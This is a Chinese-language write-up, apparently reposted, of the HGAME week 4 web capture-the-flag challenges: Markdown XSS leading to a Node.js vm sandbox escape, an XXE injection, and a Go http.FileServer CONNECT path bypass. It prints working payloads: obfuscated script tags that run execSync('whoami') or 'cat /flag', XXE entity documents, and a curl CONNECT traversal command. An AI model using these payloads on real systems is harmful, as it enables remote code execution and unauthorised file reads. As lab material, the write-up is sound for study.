HGAME-week4-web-wp
Posted 时空怡梦笙兮
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HGAME-week4-web-wp相关的知识,希望对你有一定的参考价值。
hgame第四周-web
1.Markdown Online
考点:markdown xss,nodejs vm逃逸,JavaScript语言特性
参考:[HGAME 2022 WEB | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2022/02/17/HGAME 2022 WEB/#more)
以及官方wp和github的payload:
Markdown-XSS-Payloads/Markdown-XSS-Payloads.txt at master · cujanovic/Markdown-XSS-Payloads · GitHub
与登陆相关的代码在 controllers.js:LoginController 里
先看导入了什么,markdown-it 与 zombie
Zombie存在一个沙箱逃逸的rce漏洞,找到了出题人之前写过的一篇文章Nodejs Zoombie Package RCE 分析 | Summ3r\'s personal blog
再看关键:密码转换为大写后要与54g相等,这是不可能的
问题出在 try catch 语句,catch 块没有写return 语句,导致try中的代码抛出错误后继续往下执行,这也是实际开发中很容易犯的一个错误。
所以接下来要做的就是让第 15 行代码报错,对 req.body.password.toUpperCase() 正确的解读方式是:获取 req.body.password对象的 toUpperCase属性,然后把这个属性当作函数来调用。如果这个属性不是函数对象就会抛出错误,比如:
登录处只要让 toUpperCase 抛出异常就可以登陆成功,让password为数组即可使其长度为16绕过
"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]
或者
"username":"admin","passowrd":"length": 16
接下来就是 markdown 预览功能了,markdown 解析用的是 markdown-it 库,并且开启了对 html 标签的支持:
也就是说 markdown 源码里的 html 标签会被保留而不是被转义。 比如
# header 1
<h2>header 2</h2>
将被解析为
<h1>header 1</h1>
<h2>header 2</h2>
在 SubmitController 里,markdown-it 解析出来的 html 代码会被 zombie.js 加载,zobmie.js 在遇到 JavaScript 代码的时候会将其交给 vm 虚拟机执行
官方文档上有一句警告: The vm module is not a security mechanism. Do not use it to run untrusted code.。实际上 vm 模块可以逃逸, JavaScript 对象的继承是靠原型链实现的,借助原型链可访问到 vm 沙箱以外的内容,实现 RCE。
所以解题思路就是利用 markdown-it 不转义 html 标签的条件,构造一个恶意的 script 标签,利用其中的代码来逃逸 vm 沙箱并实现 RCE 。
网上很容易找到 vm 逃逸相关的 payload:
this.__proto__.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'calc\')
不过得 bypass 一下 waf
利用 JavaScript 的语言特性, obj.contructor 可以变为 obj["contr"+"uctor"]的形式, + 也被 ban 了,可以用concat拼接字符串的形式: obj["constru".concat("ctor")]
this 和 process 可以用 eval("th"+"is") 的形式绕过。
由于没有 ban 掉 eval,其实绕过 waf 的方法很多,可以将要执行的代码base64编码,或者
String.fromCharCode 来构造
Flag:hgame3nj0yTh3/pR0tOtype*/pOllut10n!1n_j@v4scr1pt
Y0ng博客的做法:
接着审计提交的控制器
先将传入的代码进行md渲染编程html,接着利用Browser中的load进行操作
load又调用了this.tabs.open( html: html ) 其实这里的 open
就是漏洞的入口
剩下分析移步Nodejs Zoombie Package RCE 分析 | Summ3r\'s personal blog
祥云杯是通过visit为入口,这道题是以load为入口,那整体就是,将传入的代码在提交之后渲染为html,然后放入沙箱中运行,让其逃逸即可,这里还需要markdown的语法
发现在 vm 模块运行js代码,代码运行的上下文是 window对象
但是这里存在一个waf
function waf(code)
const blacklist = /__proto__|prototype|\\+|atlert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
if (code.match(blacklist))
return "# Hacker!"
else
return code
过滤了关键词,给出两种 绕过,当我想要以相同方式 绕过this时,发现对于this不适用,然后找到了这篇文章
nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)
尝试调用 window 的方法 然后调用 constructor 向上 返回的一个 Function constructor 然后 利用Function对象构造一个函数并执行
Payload:
<script>
var a=\'const\';var b=\'ructor\';var c=[a,b].join(\'\');
var d=\'return p\';var e=\'rocess\';var f=[d,e].join(\'\');
var h=\'child_p\';var i=[h,e].join(\'\');
var j=\'th\';var k=\'is\';var l=[j,k].join(\'\');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync(\'whoami\').toString();document.write(z);
</script>
或者
<script>
var h=\'child_p\';var e=\'rocess\';var i=[h,e].join(\'\');
x=clearImmediate[`$`$`constructo`r``][`$`$`constructo`r``][`$`$`constructo`r``]([`$`$`return proces`s``])();y=x.mainModule.require(i);z=y.execSync(\'cat /flag\').toString();document.write(z);
</script>
后续测试,构造一个constructor即可,成功的window方法:
btoa、cancelAnimationFrame、captureEvents、clearImmediate,print等等可以自行寻找
window方法:clearImmediate()_w3cschool
相关文章:
Markdown xss payload
Markdown-XSS-Payloads.txt
nodejs 沙盒逃逸
Node.js沙盒逃逸分析
nodejs-vm沙箱逃逸
NodeJs 沙盒逃逸分析及原型链的简单学习
nodejs编码:
Nodejs的一些技巧
nodejs代码执行绕过的一些技巧汇总
vm2逃逸payload项目
https://github.com/patriksimek/vm2
2.Comment
考点:XXE 注入, data:// 协议
由于不是很了解xxe,暂时先通过官方wp+参考博客的方式复现
给了 api.php 的源码,在提交评论时数据是以 XML 格式传输的,在 api.php 开头可以看到 libxml 开启了 XML 的外部实体解析,存在 XXE 注入的问题。
libxml_disable_entity_loader(false); 允许外部实体,waf了一些关键字
返回flag的逻辑就是sender需要为admin,但是post数据包里不能有admin关键字(admin 不出现在XML数据里)
本想在content通过一百万个字符绕过preg_match,然后发现题目环境不可以,那就进行外部实体拼接绕过
payload:
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe "ad" >
<!ENTITY xxe2 "min" >]>
<comment><sender>&xxe;&xxe2;</sender><content>123</content></comment>
官方payload:可以用 data:// 伪协议将 sender 给 base64 编码,在libxml解析的时候会自动解码。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content>111</content></comment>
Flag:hgamePr3ud0prOtQc4l*m33ts_Xx3-!nj3cti0n!
比较简洁的一个博客解释:
代码中允许引入外部实体,libxml_disable_entity_loader(false);
协议过滤的比较死,但是能通过compress.zlib://
这个协议拿到/etc/passwd
这种,但是还是拿不到源码,因为源码里有php。
于是利用data协议的输入流,将输入流base64,将外部实体导入到<sender>
当中,绕过waf。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content></content>sb</comment>
pil1ow师傅的做法非预期了,用html实体编码绕,不用引入外部实体。
<comment><sender>admin</sender><content>sb</content></comment>
好文章
XXE - XEE - XML External Entity - HackTricks
3.FileSystem
考点:Go官方http库特性、http标准
main.go
package main
import (
"log"
"net/http"
)
func fileHandler(w http.ResponseWriter, r *http.Request)
http.FileServer(http.Dir("./")).ServeHTTP(w, r)
func main()
http.HandleFunc("/", fileHandler)
http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request)
w.Write([]byte(`No! You can\'t see the flag!`))
)
log.Fatal(http.ListenAndServe(":8889", nil))
there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!
本题利用点是
- CONNECT 方法不执行路径规范化
- 官方的http库在注册路由的时候并没有指定http请求类型,使得在注册路由时相当于把一个路由的所有方法都一起注册掉了。
下图中可以看出在遇到 CONNECT 请求的时候,并没有进行路径的清洗操作,而是直接 handle 了,使得使用"//there_may_be_a_flag"或者"/../there_may_be_a_flag"即可绕过专门注册的路由的限制。
而http.FileServer()函数内部会对路径再次进行清洗。
使得我们可以绕开限制获得"/there_may_be_a_flag"
这道题,将 nginx 作为反向代理,而"/../"这种请求会直接被 nginx 拦掉,所以本题的预期解是:
curl -X CONNECT --path-as-is http://filesystem.hgame.homeboyc.cn//there_may_be_a_flag
参考上面的博客:
从这里开始:there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!
审计完再结合题目觉得应该是 http.FileServer(http.Dir(“./“)).ServeHTTP(w, r),出了问题,应该是存在漏洞导致可以跨目录读取到flag,搜索了一下,找到了go的一些安全问题
golang的一些安全问题 - byc_404\'s blog (bycsec.top)
随后发现了漏洞的出处 justCTF [*] 2020:Go-fs,出题人在github提交了issue,
非预期payload
curl -X CONNECT --path-as-is http://3445d0f8a3.filesystem.hgame.homeboyc.cn/123/../there_may_be_a_flag
非预期的原理:
如果是 CONNECT 方式请求,就 不会处理url中的特殊字符,导致直接读取flag.其他的请求方法都会在cleanPath中被处理url,golang1.16似乎已经处理了。
以上是关于HGAME-week4-web-wp的主要内容,如果未能解决你的问题,请参考以下文章